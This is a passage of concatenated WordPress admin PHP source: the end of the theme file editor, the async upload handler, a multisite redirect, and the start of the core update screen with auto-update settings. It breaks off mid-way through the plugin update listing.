	'codeEditor' => wp_enqueue_code_editor( compact( 'file' ) ),
);
wp_enqueue_script( 'wp-theme-plugin-editor' );
wp_add_inline_script( 'wp-theme-plugin-editor', sprintf( 'jQuery( function( $ ) { wp.themePluginEditor.init( $( "#template" ), %s ); } )', wp_json_encode( $settings ) ) );
wp_add_inline_script( 'wp-theme-plugin-editor', 'wp.themePluginEditor.themeOrPlugin = "theme";' );

require_once ABSPATH . 'wp-admin/admin-header.php';

update_recently_edited( $file );

if ( ! is_file( $file ) ) {
	$error = true;
}

$content = '';
if ( ! empty( $posted_content ) ) {
	$content = $posted_content;
} elseif ( ! $error && filesize( $file ) > 0 ) {
	$f       = fopen( $file, 'r' );
	$content = fread( $f, filesize( $file ) );

	if ( str_ends_with( $file, '.php' ) ) {
		$functions = wp_doc_link_parse( $content );

		if ( ! empty( $functions ) ) {
			$docs_select  = '<select name="docs-list" id="docs-list">';
			$docs_select .= '<option value="">' . esc_html__( 'Function Name&hellip;' ) . '</option>';

			foreach ( $functions as $function ) {
				$docs_select .= '<option value="' . esc_attr( $function ) . '">' . esc_html( $function ) . '()</option>';
			}

			$docs_select .= '</select>';
		}
	}

	$content = esc_textarea( $content );
}

$file_description = get_file_description( $relative_file );
$file_show        = array_search( $file, array_filter( $allowed_files ), true );
$description      = esc_html( $file_description );
if ( $file_description !== $file_show ) {
	$description .= ' <span>(' . esc_html( $file_show ) . ')</span>';
}
?>
<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<?php
if ( isset( $_GET['a'] ) ) {
	wp_admin_notice(
		__( 'File edited successfully.' ),
		array(
			'id'                 => 'message',
			'dismissible'        => true,
			'additional_classes' => array( 'updated' ),
		)
	);
} elseif ( is_wp_error( $edit_error ) ) {
	$error_code = esc_html( $edit_error->get_error_message() ? $edit_error->get_error_message() : $edit_error->get_error_code() );
	$message    = '<p>' . __( 'There was an error while trying to update the file. You may need to fix something and try updating again.' ) . '</p>
	<pre>' . $error_code . '</pre>';
	wp_admin_notice(
		$message,
		array(
			'type' => 'error',
			'id'   => 'message',
		)
	);
}

if ( preg_match( '/\.css$/', $file ) && ! wp_is_block_theme() && current_user_can( 'customize' ) ) {
	$message = '<p><strong>' . __( 'Did you know?' ) . '</strong></p><p>' . sprintf(
		/* translators: %s: Link to Custom CSS section in the Customizer. */
		__( 'There is no need to change your CSS here &mdash; you can edit and live preview CSS changes in the <a href="%s">built-in CSS editor</a>.' ),
		esc_url( add_query_arg( 'autofocus[section]', 'custom_css', admin_url( 'customize.php' ) ) )
	) . '</p>';
	wp_admin_notice(
		$message,
		array(
			'type' => 'info',
			'id'   => 'message',
		)
	);
}
?>

<div class="fileedit-sub">
<div class="alignleft">
<h2>
	<?php
	echo $theme->display( 'Name' );
	if ( $description ) {
		echo ': ' . $description;
	}
	?>
</h2>
</div>
<div class="alignright">
	<form action="theme-editor.php" method="get">
		<label for="theme" id="theme-plugin-editor-selector"><?php _e( 'Select theme to edit:' ); ?> </label>
		<select name="theme" id="theme">
		<?php
		foreach ( wp_get_themes( array( 'errors' => null ) ) as $a_stylesheet => $a_theme ) {
			if ( $a_theme->errors() && 'theme_no_stylesheet' === $a_theme->errors()->get_error_code() ) {
				continue;
			}

			$selected = ( $a_stylesheet === $stylesheet ) ? ' selected="selected"' : '';
			echo "\n\t" . '<option value="' . esc_attr( $a_stylesheet ) . '"' . $selected . '>' . $a_theme->display( 'Name' ) . '</option>';
		}
		?>
		</select>
		<?php submit_button( __( 'Select' ), '', 'Submit', false ); ?>
	</form>
</div>
<br class="clear" />
</div>

<?php
if ( $theme->errors() ) {
	wp_admin_notice(
		'<strong>' . __( 'This theme is broken.' ) . '</strong> ' . $theme->errors()->get_error_message(),
		array(
			'additional_classes' => array( 'error' ),
		)
	);
}
?>

<div id="templateside">
	<h2 id="theme-files-label"><?php _e( 'Theme Files' ); ?></h2>
	<ul role="tree" aria-labelledby="theme-files-label">
		<?php if ( $theme->parent() ) : ?>
			<li class="howto">
				<?php
				printf(
					/* translators: %s: Link to edit parent theme. */
					__( 'This child theme inherits templates from a parent theme, %s.' ),
					sprintf(
						'<a href="%s">%s</a>',
						self_admin_url( 'theme-editor.php?theme=' . urlencode( $theme->get_template() ) ),
						$theme->parent()->display( 'Name' )
					)
				);
				?>
			</li>
		<?php endif; ?>
		<li role="treeitem" tabindex="-1" aria-expanded="true" aria-level="1" aria-posinset="1" aria-setsize="1">
			<ul role="group">
				<?php wp_print_theme_file_tree( wp_make_theme_file_tree( $allowed_files ) ); ?>
			</ul>
		</li>
	</ul>
</div>

<?php
if ( $error ) :
	wp_admin_notice(
		__( 'File does not exist! Please double check the name and try again.' ),
		array(
			'additional_classes' => array( 'error' ),
		)
	);
else :
	?>
	<form name="template" id="template" action="theme-editor.php" method="post">
		<?php wp_nonce_field( 'edit-theme_' . $stylesheet . '_' . $relative_file, 'nonce' ); ?>
		<div>
			<label for="newcontent" id="theme-plugin-editor-label"><?php _e( 'Selected file content:' ); ?></label>
			<textarea cols="70" rows="30" name="newcontent" id="newcontent" aria-describedby="editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"><?php echo $content; ?></textarea>
			<input type="hidden" name="action" value="update" />
			<input type="hidden" name="file" value="<?php echo esc_attr( $relative_file ); ?>" />
			<input type="hidden" name="theme" value="<?php echo esc_attr( $theme->get_stylesheet() ); ?>" />
		</div>

		<?php if ( ! empty( $functions ) ) : ?>
			<div id="documentation" class="hide-if-no-js">
				<label for="docs-list"><?php _e( 'Documentation:' ); ?></label>
				<?php echo $docs_select; ?>
				<input disabled id="docs-lookup" type="button" class="button" value="<?php esc_attr_e( 'Look Up' ); ?>" onclick="if ( '' !== jQuery('#docs-list').val() ) { window.open( 'https://api.wordpress.org/core/handbook/1.0/?function=' + escape( jQuery( '#docs-list' ).val() ) + '&amp;locale=<?php echo urlencode( get_user_locale() ); ?>&amp;version=<?php echo urlencode( get_bloginfo( 'version' ) ); ?>&amp;redirect=true'); }" />
			</div>
		<?php endif; ?>

		<div>
			<div class="editor-notices">
				<?php
				if ( is_child_theme() && $theme->get_stylesheet() === get_template() ) :
					$message  = ( is_writable( $file ) ) ? '<strong>' . __( 'Caution:' ) . '</strong> ' : '';
					$message .= __( 'This is a file in your current parent theme.' );
					wp_admin_notice(
						$message,
						array(
							'type'               => 'warning',
							'additional_classes' => array( 'inline' ),
						)
					);
				endif;
				?>
			</div>
			<?php
			if ( is_writable( $file ) ) {
				?>
				<p class="submit">
					<?php submit_button( __( 'Update File' ), 'primary', 'submit', false ); ?>
					<span class="spinner"></span>
				</p>
				<?php
			} else {
				?>
				<p>
					<?php
					printf(
						/* translators: %s: Documentation URL. */
						__( 'You need to make this file writable before you can save your changes. See <a href="%s">Changing File Permissions</a> for more information.' ),
						__( 'https://wordpress.org/documentation/article/changing-file-permissions/' )
					);
					?>
				</p>
				<?php
			}
			?>
		</div>

		<?php wp_print_file_editor_templates(); ?>
	</form>
	<?php
endif; // End if $error.
?>
<br class="clear" />
</div>
<?php
$dismissed_pointers = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) );
if ( ! in_array( 'theme_editor_notice', $dismissed_pointers, true ) ) {
	// Get a back URL.
	$referer = wp_get_referer();

	$excluded_referer_basenames = array( 'theme-editor.php', 'wp-login.php' );

	$return_url = admin_url( '/' );
	if ( $referer ) {
		$referer_path = parse_url( $referer, PHP_URL_PATH );
		if ( is_string( $referer_path ) && ! in_array( basename( $referer_path ), $excluded_referer_basenames, true ) ) {
			$return_url = $referer;
		}
	}
	?>
	<div id="file-editor-warning" class="notification-dialog-wrap file-editor-warning hide-if-no-js hidden">
		<div class="notification-dialog-background"></div>
		<div class="notification-dialog">
			<div class="file-editor-warning-content">
				<div class="file-editor-warning-message">
					<h1><?php _e( 'Heads up!' ); ?></h1>
					<p>
						<?php
						_e( 'You appear to be making direct edits to your theme in the WordPress dashboard. It is not recommended! Editing your theme directly could break your site and your changes may be lost in future updates.' );
						?>
					</p>
						<?php
						if ( ! $theme->parent() ) {
							echo '<p>';
							printf(
								/* translators: %s: Link to documentation on child themes. */
								__( 'If you need to tweak more than your theme&#8217;s CSS, you might want to try <a href="%s">making a child theme</a>.' ),
								esc_url( __( 'https://developer.wordpress.org/themes/advanced-topics/child-themes/' ) )
							);
							echo '</p>';
						}
						?>
					<p><?php _e( 'If you decide to go ahead with direct edits anyway, use a file manager to create a copy with a new name and hang on to the original. That way, you can re-enable a functional version if something goes wrong.' ); ?></p>
				</div>
				<p>
					<a class="button file-editor-warning-go-back" href="<?php echo esc_url( $return_url ); ?>"><?php _e( 'Go back' ); ?></a>
					<button type="button" class="file-editor-warning-dismiss button button-primary"><?php _e( 'I understand' ); ?></button>
				</p>
			</div>
		</div>
	</div>
	<?php
} // Editor warning notice.

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Server-side file upload handler from wp-plupload or other asynchronous upload methods.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( isset( $_REQUEST['action'] ) && 'upload-attachment' === $_REQUEST['action'] ) {
	define( 'DOING_AJAX', true );
}

if ( ! defined( 'WP_ADMIN' ) ) {
	define( 'WP_ADMIN', true );
}

if ( defined( 'ABSPATH' ) ) {
	require_once ABSPATH . 'wp-load.php';
} else {
	require_once dirname( __DIR__ ) . '/wp-load.php';
}

require_once ABSPATH . 'wp-admin/admin.php';

header( 'Content-Type: text/plain; charset=' . get_option( 'blog_charset' ) );

if ( isset( $_REQUEST['action'] ) && 'upload-attachment' === $_REQUEST['action'] ) {
	require ABSPATH . 'wp-admin/includes/ajax-actions.php';

	send_nosniff_header();
	nocache_headers();

	wp_ajax_upload_attachment();
	die( '0' );
}

if ( ! current_user_can( 'upload_files' ) ) {
	wp_die( __( 'Sorry, you are not allowed to upload files.' ) );
}

// Just fetch the detail form for that attachment.
if ( isset( $_REQUEST['attachment_id'] ) && (int) $_REQUEST['attachment_id'] && $_REQUEST['fetch'] ) {
	$id   = (int) $_REQUEST['attachment_id'];
	$post = get_post( $id );
	if ( 'attachment' !== $post->post_type ) {
		wp_die( __( 'Invalid post type.' ) );
	}

	switch ( $_REQUEST['fetch'] ) {
		case 3:
			?>
			<div class="media-item-wrapper">
				<div class="attachment-details">
					<?php
					$thumb_url = wp_get_attachment_image_src( $id, 'thumbnail', true );
					if ( $thumb_url ) {
						echo '<img class="pinkynail" src="' . esc_url( $thumb_url[0] ) . '" alt="" />';
					}

					// Title shouldn't ever be empty, but use filename just in case.
					$file     = get_attached_file( $post->ID );
					$file_url = wp_get_attachment_url( $post->ID );
					$title    = $post->post_title ? $post->post_title : wp_basename( $file );
					?>
					<div class="filename new">
						<span class="media-list-title"><strong><?php echo esc_html( wp_html_excerpt( $title, 60, '&hellip;' ) ); ?></strong></span>
						<span class="media-list-subtitle"><?php echo wp_basename( $file ); ?></span>
					</div>
				</div>
				<div class="attachment-tools">
					<span class="media-item-copy-container copy-to-clipboard-container edit-attachment">
						<button type="button" class="button button-small copy-attachment-url" data-clipboard-text="<?php echo $file_url; ?>"><?php _e( 'Copy URL to clipboard' ); ?></button>
						<span class="success hidden" aria-hidden="true"><?php _e( 'Copied!' ); ?></span>
					</span>
					<?php
					if ( current_user_can( 'edit_post', $id ) ) {
						echo '<a class="edit-attachment" href="' . esc_url( get_edit_post_link( $id ) ) . '">' . _x( 'Edit', 'media item' ) . '</a>';
					} else {
						echo '<span class="edit-attachment">' . _x( 'Success', 'media item' ) . '</span>';
					}
					?>
				</div>
			</div>
			<?php
			break;
		case 2:
			add_filter( 'attachment_fields_to_edit', 'media_single_attachment_fields_to_edit', 10, 2 );
			echo get_media_item(
				$id,
				array(
					'send'   => false,
					'delete' => true,
				)
			);
			break;
		default:
			add_filter( 'attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2 );
			echo get_media_item( $id );
			break;
	}
	exit;
}

check_admin_referer( 'media-form' );

$post_id = 0;
if ( isset( $_REQUEST['post_id'] ) ) {
	$post_id = absint( $_REQUEST['post_id'] );
	if ( ! get_post( $post_id ) || ! current_user_can( 'edit_post', $post_id ) ) {
		$post_id = 0;
	}
}

$id = media_handle_upload( 'async-upload', $post_id );
if ( is_wp_error( $id ) ) {
	$message = sprintf(
		'%s <strong>%s</strong><br />%s',
		sprintf(
			'<button type="button" class="dismiss button-link" onclick="jQuery(this).parents(\'div.media-item\').slideUp(200, function(){jQuery(this).remove();});">%s</button>',
			__( 'Dismiss' )
		),
		sprintf(
			/* translators: %s: Name of the file that failed to upload. */
			__( '&#8220;%s&#8221; has failed to upload.' ),
			esc_html( $_FILES['async-upload']['name'] )
		),
		esc_html( $id->get_error_message() )
	);
	wp_admin_notice(
		$message,
		array(
			'additional_classes' => array( 'error-div', 'error' ),
			'paragraph_wrap'     => false,
		)
	);
	exit;
}

if ( $_REQUEST['short'] ) {
	// Short form response - attachment ID only.
	echo $id;
} else {
	// Long form response - big chunk of HTML.
	$type = $_REQUEST['type'];

	/**
	 * Filters the returned ID of an uploaded attachment.
	 *
	 * The dynamic portion of the hook name, `$type`, refers to the attachment type.
	 *
	 * Possible hook names include:
	 *
	 *  - `async_upload_audio`
	 *  - `async_upload_file`
	 *  - `async_upload_image`
	 *  - `async_upload_video`
	 *
	 * @since 2.5.0
	 *
	 * @param int $id Uploaded attachment ID.
	 */
	echo apply_filters( "async_upload_{$type}", $id );
}
<?php
/**
 * Multisite sites administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

require_once __DIR__ . '/admin.php';

wp_redirect( network_admin_url( 'sites.php' ) );
exit;
<?php
/**
 * Update Core administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

wp_enqueue_style( 'plugin-install' );
wp_enqueue_script( 'plugin-install' );
wp_enqueue_script( 'updates' );
add_thickbox();

if ( is_multisite() && ! is_network_admin() ) {
	wp_redirect( network_admin_url( 'update-core.php' ) );
	exit;
}

if ( ! current_user_can( 'update_core' ) && ! current_user_can( 'update_themes' ) && ! current_user_can( 'update_plugins' ) && ! current_user_can( 'update_languages' ) ) {
	wp_die( __( 'Sorry, you are not allowed to update this site.' ) );
}

/**
 * Lists available core updates.
 *
 * @since 2.7.0
 *
 * @global string $wp_local_package Locale code of the package.
 * @global wpdb   $wpdb             WordPress database abstraction object.
 *
 * @param object $update
 */
function list_core_update( $update ) {
	global $wp_local_package, $wpdb;
	static $first_pass = true;

	$wp_version     = get_bloginfo( 'version' );
	$version_string = sprintf( '%s&ndash;%s', $update->current, get_locale() );

	if ( 'en_US' === $update->locale && 'en_US' === get_locale() ) {
		$version_string = $update->current;
	} elseif ( 'en_US' === $update->locale && $update->packages->partial && $wp_version === $update->partial_version ) {
		$updates = get_core_updates();
		if ( $updates && 1 === count( $updates ) ) {
			// If the only available update is a partial builds, it doesn't need a language-specific version string.
			$version_string = $update->current;
		}
	} elseif ( 'en_US' === $update->locale && 'en_US' !== get_locale() ) {
		$version_string = sprintf( '%s&ndash;%s', $update->current, $update->locale );
	}

	$current = false;
	if ( ! isset( $update->response ) || 'latest' === $update->response ) {
		$current = true;
	}

	$message       = '';
	$form_action   = 'update-core.php?action=do-core-upgrade';
	$php_version   = PHP_VERSION;
	$mysql_version = $wpdb->db_version();
	$show_buttons  = true;

	// Nightly build versions have two hyphens and a commit number.
	if ( preg_match( '/-\w+-\d+/', $update->current ) ) {
		// Retrieve the major version number.
		preg_match( '/^\d+.\d+/', $update->current, $update_major );
		/* translators: %s: WordPress version. */
		$submit = sprintf( __( 'Update to latest %s nightly' ), $update_major[0] );
	} else {
		/* translators: %s: WordPress version. */
		$submit = sprintf( __( 'Update to version %s' ), $version_string );
	}

	if ( 'development' === $update->response ) {
		$message = __( 'You can update to the latest nightly build manually:' );
	} else {
		if ( $current ) {
			/* translators: %s: WordPress version. */
			$submit      = sprintf( __( 'Re-install version %s' ), $version_string );
			$form_action = 'update-core.php?action=do-core-reinstall';
		} else {
			$php_compat = version_compare( $php_version, $update->php_version, '>=' );
			if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) ) {
				$mysql_compat = true;
			} else {
				$mysql_compat = version_compare( $mysql_version, $update->mysql_version, '>=' );
			}

			$version_url = sprintf(
				/* translators: %s: WordPress version. */
				esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ),
				sanitize_title( $update->current )
			);

			$php_update_message = '</p><p>' . sprintf(
				/* translators: %s: URL to Update PHP page. */
				__( '<a href="%s">Learn more about updating PHP</a>.' ),
				esc_url( wp_get_update_php_url() )
			);

			$annotation = wp_get_update_php_annotation();

			if ( $annotation ) {
				$php_update_message .= '</p><p><em>' . $annotation . '</em>';
			}

			if ( ! $mysql_compat && ! $php_compat ) {
				$message = sprintf(
					/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Minimum required MySQL version number, 5: Current PHP version number, 6: Current MySQL version number. */
					__( 'You cannot update because <a href="%1$s">WordPress %2$s</a> requires PHP version %3$s or higher and MySQL version %4$s or higher. You are running PHP version %5$s and MySQL version %6$s.' ),
					$version_url,
					$update->current,
					$update->php_version,
					$update->mysql_version,
					$php_version,
					$mysql_version
				) . $php_update_message;
			} elseif ( ! $php_compat ) {
				$message = sprintf(
					/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Current PHP version number. */
					__( 'You cannot update because <a href="%1$s">WordPress %2$s</a> requires PHP version %3$s or higher. You are running version %4$s.' ),
					$version_url,
					$update->current,
					$update->php_version,
					$php_version
				) . $php_update_message;
			} elseif ( ! $mysql_compat ) {
				$message = sprintf(
					/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required MySQL version number, 4: Current MySQL version number. */
					__( 'You cannot update because <a href="%1$s">WordPress %2$s</a> requires MySQL version %3$s or higher. You are running version %4$s.' ),
					$version_url,
					$update->current,
					$update->mysql_version,
					$mysql_version
				);
			} else {
				$message = sprintf(
					/* translators: 1: Installed WordPress version number, 2: URL to WordPress release notes, 3: New WordPress version number, including locale if necessary. */
					__( 'You can update from WordPress %1$s to <a href="%2$s">WordPress %3$s</a> manually:' ),
					$wp_version,
					$version_url,
					$version_string
				);
			}

			if ( ! $mysql_compat || ! $php_compat ) {
				$show_buttons = false;
			}
		}
	}

	echo '<p>';
	echo $message;
	echo '</p>';

	echo '<form method="post" action="' . esc_url( $form_action ) . '" name="upgrade" class="upgrade">';
	wp_nonce_field( 'upgrade-core' );

	echo '<p>';
	echo '<input name="version" value="' . esc_attr( $update->current ) . '" type="hidden" />';
	echo '<input name="locale" value="' . esc_attr( $update->locale ) . '" type="hidden" />';
	if ( $show_buttons ) {
		if ( $first_pass ) {
			submit_button( $submit, $current ? '' : 'primary regular', 'upgrade', false );
			$first_pass = false;
		} else {
			submit_button( $submit, '', 'upgrade', false );
		}
	}
	if ( 'en_US' !== $update->locale ) {
		if ( ! isset( $update->dismissed ) || ! $update->dismissed ) {
			submit_button( __( 'Hide this update' ), '', 'dismiss', false );
		} else {
			submit_button( __( 'Bring back this update' ), '', 'undismiss', false );
		}
	}
	echo '</p>';

	if ( 'en_US' !== $update->locale && ( ! isset( $wp_local_package ) || $wp_local_package !== $update->locale ) ) {
		echo '<p class="hint">' . __( 'This localized version contains both the translation and various other localization fixes.' ) . '</p>';
	} elseif ( 'en_US' === $update->locale && 'en_US' !== get_locale() && ( ! $update->packages->partial && $wp_version === $update->partial_version ) ) {
		// Partial builds don't need language-specific warnings.
		echo '<p class="hint">' . sprintf(
			/* translators: %s: WordPress version. */
			__( 'You are about to install WordPress %s <strong>in English (US)</strong>. There is a chance this update will break your translation. You may prefer to wait for the localized version to be released.' ),
			'development' !== $update->response ? $update->current : ''
		) . '</p>';
	}

	echo '</form>';
}

/**
 * Display dismissed updates.
 *
 * @since 2.7.0
 */
function dismissed_updates() {
	$dismissed = get_core_updates(
		array(
			'dismissed' => true,
			'available' => false,
		)
	);

	if ( $dismissed ) {
		$show_text = esc_js( __( 'Show hidden updates' ) );
		$hide_text = esc_js( __( 'Hide hidden updates' ) );
		?>
		<script type="text/javascript">
			jQuery( function( $ ) {
				$( '#show-dismissed' ).on( 'click', function() {
					var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) );

					if ( isExpanded ) {
						$( this ).text( '<?php echo $show_text; ?>' ).attr( 'aria-expanded', 'false' );
					} else {
						$( this ).text( '<?php echo $hide_text; ?>' ).attr( 'aria-expanded', 'true' );
					}

					$( '#dismissed-updates' ).toggle( 'fast' );
				});
			});
		</script>
		<?php
		echo '<p class="hide-if-no-js"><button type="button" class="button" id="show-dismissed" aria-expanded="false">' . __( 'Show hidden updates' ) . '</button></p>';
		echo '<ul id="dismissed-updates" class="core-updates dismissed">';
		foreach ( (array) $dismissed as $update ) {
			echo '<li>';
			list_core_update( $update );
			echo '</li>';
		}
		echo '</ul>';
	}
}

/**
 * Display upgrade WordPress for downloading latest or upgrading automatically form.
 *
 * @since 2.7.0
 */
function core_upgrade_preamble() {
	$updates = get_core_updates();

	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	$is_development_version = preg_match( '/alpha|beta|RC/', $wp_version );

	if ( isset( $updates[0]->version ) && version_compare( $updates[0]->version, $wp_version, '>' ) ) {
		echo '<h2 class="response">';
		_e( 'An updated version of WordPress is available.' );
		echo '</h2>';

		$message = sprintf(
			/* translators: 1: Documentation on WordPress backups, 2: Documentation on updating WordPress. */
			__( '<strong>Important:</strong> Before updating, please <a href="%1$s">back up your database and files</a>. For help with updates, visit the <a href="%2$s">Updating WordPress</a> documentation page.' ),
			__( 'https://wordpress.org/documentation/article/wordpress-backups/' ),
			__( 'https://wordpress.org/documentation/article/updating-wordpress/' )
		);
		wp_admin_notice(
			$message,
			array(
				'type'               => 'warning',
				'additional_classes' => array( 'inline' ),
			)
		);
	} elseif ( $is_development_version ) {
		echo '<h2 class="response">' . __( 'You are using a development version of WordPress.' ) . '</h2>';
	} else {
		echo '<h2 class="response">' . __( 'You have the latest version of WordPress.' ) . '</h2>';
	}

	echo '<ul class="core-updates">';
	foreach ( (array) $updates as $update ) {
		echo '<li>';
		list_core_update( $update );
		echo '</li>';
	}
	echo '</ul>';

	// Don't show the maintenance mode notice when we are only showing a single re-install option.
	if ( $updates && ( count( $updates ) > 1 || 'latest' !== $updates[0]->response ) ) {
		echo '<p>' . __( 'While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, this mode will be deactivated.' ) . '</p>';
	} elseif ( ! $updates ) {
		list( $normalized_version ) = explode( '-', $wp_version );
		echo '<p>' . sprintf(
			/* translators: 1: URL to About screen, 2: WordPress version. */
			__( '<a href="%1$s">Learn more about WordPress %2$s</a>.' ),
			esc_url( self_admin_url( 'about.php' ) ),
			$normalized_version
		) . '</p>';
	}

	dismissed_updates();
}

/**
 * Display WordPress auto-updates settings.
 *
 * @since 5.6.0
 */
function core_auto_updates_settings() {
	if ( isset( $_GET['core-major-auto-updates-saved'] ) ) {
		if ( 'enabled' === $_GET['core-major-auto-updates-saved'] ) {
			$notice_text = __( 'Automatic updates for all WordPress versions have been enabled. Thank you!' );
			wp_admin_notice(
				$notice_text,
				array(
					'type'        => 'success',
					'dismissible' => true,
				)
			);
		} elseif ( 'disabled' === $_GET['core-major-auto-updates-saved'] ) {
			$notice_text = __( 'WordPress will only receive automatic security and maintenance releases from now on.' );
			wp_admin_notice(
				$notice_text,
				array(
					'type'        => 'success',
					'dismissible' => true,
				)
			);
		}
	}

	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$updater = new WP_Automatic_Updater();

	// Defaults:
	$upgrade_dev   = get_site_option( 'auto_update_core_dev', 'enabled' ) === 'enabled';
	$upgrade_minor = get_site_option( 'auto_update_core_minor', 'enabled' ) === 'enabled';
	$upgrade_major = get_site_option( 'auto_update_core_major', 'unset' ) === 'enabled';

	$can_set_update_option = true;
	// WP_AUTO_UPDATE_CORE = true (all), 'beta', 'rc', 'development', 'branch-development', 'minor', false.
	if ( defined( 'WP_AUTO_UPDATE_CORE' ) ) {
		if ( false === WP_AUTO_UPDATE_CORE ) {
			// Defaults to turned off, unless a filter allows it.
			$upgrade_dev   = false;
			$upgrade_minor = false;
			$upgrade_major = false;
		} elseif ( true === WP_AUTO_UPDATE_CORE
			|| in_array( WP_AUTO_UPDATE_CORE, array( 'beta', 'rc', 'development', 'branch-development' ), true )
		) {
			// ALL updates for core.
			$upgrade_dev   = true;
			$upgrade_minor = true;
			$upgrade_major = true;
		} elseif ( 'minor' === WP_AUTO_UPDATE_CORE ) {
			// Only minor updates for core.
			$upgrade_dev   = false;
			$upgrade_minor = true;
			$upgrade_major = false;
		}

		// The UI is overridden by the `WP_AUTO_UPDATE_CORE` constant.
		$can_set_update_option = false;
	}

	if ( $updater->is_disabled() ) {
		$upgrade_dev   = false;
		$upgrade_minor = false;
		$upgrade_major = false;

		/*
		 * The UI is overridden by the `AUTOMATIC_UPDATER_DISABLED` constant
		 * or the `automatic_updater_disabled` filter,
		 * or by `wp_is_file_mod_allowed( 'automatic_updater' )`.
		 * See `WP_Automatic_Updater::is_disabled()`.
		 */
		$can_set_update_option = false;
	}

	// Is the UI overridden by a plugin using the `allow_major_auto_core_updates` filter?
	if ( has_filter( 'allow_major_auto_core_updates' ) ) {
		$can_set_update_option = false;
	}

	/** This filter is documented in wp-admin/includes/class-core-upgrader.php */
	$upgrade_dev = apply_filters( 'allow_dev_auto_core_updates', $upgrade_dev );
	/** This filter is documented in wp-admin/includes/class-core-upgrader.php */
	$upgrade_minor = apply_filters( 'allow_minor_auto_core_updates', $upgrade_minor );
	/** This filter is documented in wp-admin/includes/class-core-upgrader.php */
	$upgrade_major = apply_filters( 'allow_major_auto_core_updates', $upgrade_major );

	$auto_update_settings = array(
		'dev'   => $upgrade_dev,
		'minor' => $upgrade_minor,
		'major' => $upgrade_major,
	);

	if ( $upgrade_major ) {
		$wp_version = get_bloginfo( 'version' );
		$updates    = get_core_updates();

		if ( isset( $updates[0]->version ) && version_compare( $updates[0]->version, $wp_version, '>' ) ) {
			echo '<p>' . wp_get_auto_update_message() . '</p>';
		}
	}

	$action_url = self_admin_url( 'update-core.php?action=core-major-auto-updates-settings' );
	?>

	<p class="auto-update-status">
		<?php

		if ( $updater->is_vcs_checkout( ABSPATH ) ) {
			_e( 'This site appears to be under version control. Automatic updates are disabled.' );
		} elseif ( $upgrade_major ) {
			_e( 'This site is automatically kept up to date with each new version of WordPress.' );

			if ( $can_set_update_option ) {
				echo '<br />';
				printf(
					'<a href="%s" class="core-auto-update-settings-link core-auto-update-settings-link-disable">%s</a>',
					wp_nonce_url( add_query_arg( 'value', 'disable', $action_url ), 'core-major-auto-updates-nonce' ),
					__( 'Switch to automatic updates for maintenance and security releases only.' )
				);
			}
		} elseif ( $upgrade_minor ) {
			_e( 'This site is automatically kept up to date with maintenance and security releases of WordPress only.' );

			if ( $can_set_update_option ) {
				echo '<br />';
				printf(
					'<a href="%s" class="core-auto-update-settings-link core-auto-update-settings-link-enable">%s</a>',
					wp_nonce_url( add_query_arg( 'value', 'enable', $action_url ), 'core-major-auto-updates-nonce' ),
					__( 'Enable automatic updates for all new versions of WordPress.' )
				);
			}
		} else {
			_e( 'This site will not receive automatic updates for new versions of WordPress.' );
		}
		?>
	</p>

	<?php
	/**
	 * Fires after the major core auto-update settings.
	 *
	 * @since 5.6.0
	 *
	 * @param array $auto_update_settings {
	 *     Array of core auto-update settings.
	 *
	 *     @type bool $dev   Whether to enable automatic updates for development versions.
	 *     @type bool $minor Whether to enable minor automatic core updates.
	 *     @type bool $major Whether to enable major automatic core updates.
	 * }
	 */
	do_action( 'after_core_auto_updates_settings', $auto_update_settings );
}

/**
 * Display the upgrade plugins form.
 *
 * @since 2.9.0
 */
function list_plugin_updates() {
	$wp_version     = get_bloginfo( 'version' );
	$cur_wp_version = preg_replace( '/-.*$/', '', $wp_version );

	require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
	$plugins = get_plugin_updates();
	if ( empty( $plugins ) ) {
		echo '<h2>' . __( 'Plugins' ) . '</h2>';
		echo '<p>' . __( 'Your plugins are all up to date.' ) . '</p>';
		return;
	}
	$form_action = 'update-core.php?action=do-plugin-upgrade';

	$core_updates = get_core_updates();
	if ( ! isset( $core_updates[0]->response ) || 'latest' === $core_updates[0]->response || 'development' === $core_updates[0]->response || version_compare( $core_updates[0]->current, $cur_wp_version, '=' ) ) {
		$core_update_version = false;
	} else {
		$core_update_version = $core_updates[0]->current;
	}

	$plugins_count = count( $plugins );
	?>
<h2>
	<?php
	printf(
		'%s <span class="count">(%d)</span>',
		__( 'Plugins' ),
		number_format_i18n( $plugins_count )
	);
	?>
</h2>
<p><?php _e( 'The following plugins have new versions available. Check the ones you want to update and then click &#8220;Update Plugins&#8221;.' ); ?></p>
<form method="post" action="<?php echo esc_url( $form_action ); ?>" name="upgrade-plugins" class="upgrade">
	<?php wp_nonce_field( 'upgrade-core' ); ?>
<p><input id="upgrade-plugins" class="button" type="submit" value="<?php esc_attr_e( 'Update Plugins' ); ?>" name="upgrade" /></p>
<table class="widefat updates-table" id="update-plugins-table">
	<thead>
	<tr>
		<td class="manage-column check-column"><input type="checkbox" id="plugins-select-all" /></td>
		<td class="manage-column"><label for="plugins-select-all"><?php _e( 'Select All' ); ?></label></td>
	</tr>
	</thead>

	<tbody class="plugins">
	<?php

	$auto_updates = array();
	if ( wp_is_auto_update_enabled_for_type( 'plugin' ) ) {
		$auto_updates       = (array) get_site_option( 'auto_update_plugins', array() );
